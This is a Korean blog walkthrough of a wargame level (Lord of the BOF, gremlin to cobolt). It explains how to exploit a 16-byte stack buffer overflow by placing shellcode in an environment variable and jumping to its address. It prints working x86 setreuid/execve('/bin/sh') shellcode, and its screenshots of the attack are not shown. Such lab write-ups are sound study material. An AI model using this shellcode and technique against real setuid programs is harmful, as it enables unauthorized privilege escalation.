jam 블로그

[bof 원정대] gremlin -> cobolt (small buffer bof) 본문

해킹/시스템

[bof 원정대] gremlin -> cobolt (small buffer bof)

kid1412 2012. 3. 16. 21:42
728x90
문제 소스를 봅시다.

 [그림 1] cobolt.c  

소스 분석
1. buffer의 크기는 16
2. 인자값은 적어도 하나 이상
3. 첫번째 인자값을 buffer에 넣는다.
4. buffer를 뿌려준다. 


우리가 해야할 일을 알아보자.

0. bash2 사용 (콘솔에서 bash2를 쳐줍니다.)
1. shellcode 구하기
2. shellcode를 환경변수에 올리기
3. 환경변수의 주소값 알기
4. bof 공격

사실상 gate에서 했던 방식 고대로 하면 됩니다. 이유는 우리는 shellcode를 버퍼에 넣는게 아닌 환경변수에 올려서 하기 때문입니다. 


1. shellcode 구하기

gate때 썼던 shellcode를 고대로 사용합니다.
 "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh" 


2. shellcode를 환경변수에 올리기

 [그림 2] shellcode를 환경변수 shellcode에 올린다.

이것 또한 gate에서 했던것과 같습니다. 


3. 환경변수의 주소값 알기

 [그림 3] 환경변수의 주소값 알기 위한 소스

 [그림 4] shellcode 환경변수의 주소값


4. bof 공격

 [그림 5] bof 공격

공격이 성공하면 다음과 같이 볼수 있습니다. 


Comments